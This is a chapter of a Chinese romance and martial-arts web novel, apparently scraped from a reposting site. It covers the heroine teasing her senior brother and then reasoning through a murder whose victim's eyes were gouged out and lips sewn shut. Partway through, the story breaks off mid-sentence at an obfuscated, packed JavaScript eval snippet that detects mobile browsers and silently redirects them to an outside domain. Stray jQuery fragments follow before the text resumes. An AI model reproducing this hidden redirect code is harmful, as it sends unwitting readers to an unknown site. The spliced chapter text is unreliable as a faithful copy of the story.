43.俯首

作品:《拒绝阴湿师兄表白后

    伏陈乌沉沉的眼睛盯着她看了半晌,她以为师兄正在思考奢云与这起案件的关联,结果他却说得是:“你真的不会走,不会离开我?”


    唐济楚的嘴撇了撇,木着脸问:“所以我方才说得那些,你全没听进去?”


    他立刻小心翼翼回答:“我知道的我听见了,你担心我,告诉我提防奢云,我都听见了。”


    唐济楚好似体会到了年长者教训年幼者的感觉,不知从何时起,师兄成了低头的那个。她偶尔也阴暗地享受着,曾经那个如父如兄的人,也为她俯首做小伏低的快意。


    她抿了抿唇,勉强掩饰起嘴角的笑意。板着脸道:“你现在可是一城之主,哪能像以前那么幼稚了?譬如今天,你怎么能说走就走?还跟人家撂那么重的狠话?实在是幼稚!”


    伏陈面上略有疑惑:“我从前幼稚吗?”


    “我说幼稚,就是幼稚,不许反驳。”她的指头轻轻点在他鼻尖上。


    他面色泛红,微微侧过脸去,愤懑而无可奈何,只得咬牙道:“你如今算是骑到我脖子上了是么?”


    唐济楚倒是坦荡,响亮地说了声:“是。”


    伏陈一时觉得自己简直拿她一点办法都没有。他再也拿不出身为长辈的架子,十几年来师兄的威严已经荡然无存。从前他怕她只拿自己当作师兄,如今倒好了,已然是她说往西,他不想着往东了。


    他试图挽救最后一丝作为师兄的尊严:“唐济楚。没大没小的。”


    哪知师妹笑了笑,凑近他道:“做兄妹才有大小,做旁的……可没有。”


    说罢却飞速离开他的怀抱,远远退开几步。伏陈眼神愣愣地追着她。她的那句话轻轻的,比羽毛尖还细,拂得他耳后一片痒。


    他不确定自己方才是否听错了,问道:“什么旁的?你那是什么意思。”


    唐济楚两手交握,背在身后,心跳快了起来。天气这样寒凉,她却感到了春日柔风覆面般的温煦。


    她尚且不知道喜欢一个人的心意是怎样的,但至少此刻,她愿意慢慢试着了解。


    伏陈跑过来捉她,被她跑跳着躲开。


    “没什么意思,师兄难道想歪了?”


    “楚楚……”他的声音又几近哀求,想乞得某人爱怜似的。


    “就是做朋友啊,做朋友当然没大小之分了。”她避重就轻,理直气壮地答道。


    伏陈一口气噎在胸口,气闷非常。


    “做朋友?谁要跟你做朋友?”他咬咬牙,忿忿道,“行,你最好只把我当作你兄长。唐济楚,明早辰时起来,依旧在院中扎半个时辰马步,日后对剑你若输了,还按往常的规矩,每次练功添半个时辰。”


    若换作以往,她定要苦张脸求饶的。可现在不同,唐济楚朝他扬扬下巴,“练就练。师、兄。”


    丝毫没有怕的意思,唯有满满的挑衅之意。


    伏陈走在后面,气笑了:“唐济楚,你别后悔。”


    唐济楚学他的表情,学他的语气:“白衡镜,你别后悔。”而后笑道,“哎呀,怎么看后悔的人都不像是我呀,对吧师兄?”


    他装作要来抓她收拾她的样子,她又立刻大叫着跑远了。


    ***


    待二人回府后,伏陈那边也得了消息。官府查到线索,已将当日与此案有关的人暂时关押起来。武盟的人想见缝插针,也被一口回绝。


    此案不比李光隐被刺一案,此乃千嶂城地界里发生,又无确凿证据是江湖武者所为,武盟即便想插手也没理由。不过他们虽不能插手干预,捣乱的本事却是十成十的。


    当日伏陈已下令,凡在场官府之人,不得将细节口风透露出去。可不知中间出了什么差错,那死者眼睛被挖、嘴唇被缝的消息,还是一传十、十传百,落得个人尽皆知。


    一时间坊市中议论不断,有人说他是死于仇杀,也有人说是那昔年喜虐杀人的怪孽何满青重出江湖了。


    柳七却不这样想,唐济楚以为这是报复死对头的极端杀法,他却说:“一看你们就是没混过匪帮的清白出身。”


    他说得怪骄傲的,伏陈不禁眯着眼睛看他几眼。


    “我爹娘就是因为匪众过于凶残,才慢慢洗手不干的。像这挖眼睛、缝嘴的,大多都是一个山头的抓到另一个山头的人,为了对付死对头,给对方以威慑,便行如此手段。”他说着也仿佛感到痛了似的,呲牙咧嘴道:“这样做一来是为了震慑对手,二来,也是让对方少看少说。”


    唐济楚忽地抬头看他,“少看少说?”


    柳七眨眨眼,道:“是,少看少说,有什么问题吗?”


    “我在想……凶手既已杀了人,那便也不会再担心对方乱看乱说。或许……这眼睛和嘴巴,是为了震慑另一个人。”


    “另一个知情的人?”伏陈问。


    “你还记得我说过,这死者我先前认识么?他就是那个,当日在酒家将要砍了奢云的那个壮汉。也是他将奢云送进武盟大牢的。若说此地晓得此事原委的人,那恐怕便只有我一个了。”


    伏陈皱眉道:“你是说,凶手的目的是你?”


    唐济楚摇头道:“不,那人的目的的确是为了杀他灭口,可我总觉得,挖走的眼睛和缝合的嘴,是为了恐吓我才做下的。且那人就算再运筹帷幄,也算不到我那日会刚好闯进熄火的楼中,亲眼见到那具尸体,所以,那人一定会千方百计地将死者的身份和他的死状传到我耳朵里。”


    “官府之中,有凶手的人?”


    她点点头,“不仅有,而且藏得还深,或许这人根本没见过死者,更不知道死者的惨状。唯一得来的消息,便是凶手提供的。如此一来,你就算盘查当日见过凶手的人,也未必能查到他的身上去。”


    “接下来,就要静等凶手下一步棋了。光叫我知道这死者的惨状怎么能行,还得让我晓得,死者便是当日我巧遇之人啊。”


    伏陈淡淡抬眼看她,问:“听你的意思,已经认


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394218|181280||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    定奢云便是凶手了?”


    柳七听了半天,一头雾水,只有这句听懂了。“阮姑娘?她又不会武功!而且……我瞧着她是个善良的好姑娘,我上周还去她的酒家,坐了好一会儿……怎么可能?”


    唐济楚摆摆手,安慰他道:“我也只是胡乱揣测嘛。可能只是我自作多情呢,再说阮姑娘威胁我做什么?我又……”


    她的声音戛然而止,不知在想什么。伏陈看她愣神半晌,紧张地坐直了身体,轻声问:“楚楚?”


    唐济楚回过神来,勉强笑着说:“没什么。”


    她话音刚落,堂外便有一人走进,眼神轻扫一圈,低头朝伏陈恭谨道:“主君,那死者的身份已查出来了……是黄虎帮的帮众,前些年是黄虎帮四当家的结义兄弟。”


    说到此处,他面上略有些为难:“只是……只是黄虎帮已递来拜帖,说……要来拜会主君,给自家弟兄讨个公道呢。”


    唐济楚想了想,问道:“那他们可还说了别的?”


    下属看了看她,又看了看伏陈,面色犹豫道:“似乎说了的,不过是递拜帖时,属下只当是他们在发牢骚,也不太记得……”


    伏陈应了一声,让他回去。那人走到一半,忽然又急匆匆折返。“主君,我记起来了。是他们说,当年杀了他们四当家的女子还在千嶂城,如今连四当家的手足也死在了这,定要讨个说法才是。”


    唐济楚笑了一声,心中顿时闪过“果然如此”几个大字。


    伏陈颔首道:“我知道了,你先下去。”


    待那下属离开,唐济楚响亮地拍了几下手:“好了,这下我便知道了那日与奢云在酒家二楼有过龃龉的壮汉,如今已被人用最凶残的方式永远封住了口。”


    伏陈沉声道:“可惜没有证据,我还不能拿她如何。”


    “我们虽不能拿住她,却可以试着看住她。不过这一切不过是我妄自揣测,或许这几桩事不过是巧合罢了。”


    伏陈深吸了一口气,忽然说:“楚楚,你说,会不会阮奢云那时根本没被缉拿归案。”


    唐济楚方想说自己是货真价实地将她从牢中救出,一晃神间又想到另一种可能。


    “你是说,有人故意引我去牢中救人?”


    “否则怎么会如此巧合,就在你去劫狱的当晚,奚问宁却逃了出来?”


    这一切串联起来,似乎指向了另一张密实的网。唐济楚想得有些头痛,从下山开始,这算计就没停过。


    她把头歪向一边,神情有几分疲惫,伏陈见了,心中不免酸涩。是他强留她在身边,才使她要面对这样多的阴谋诡计。


    “想不明白,便不要想了。有师兄在。”伏陈全不顾一旁酸倒牙的柳七神色如何,只温声道。


    岂料唐济楚不知哪来的一股蛮力,硬生生坐了起来,一拍桌子。“想让我不看不说?想让我闭上嘴巴?我偏要看,偏要说!我待会便去她那里,我倒要看看,她葫芦里到底卖的什么药!”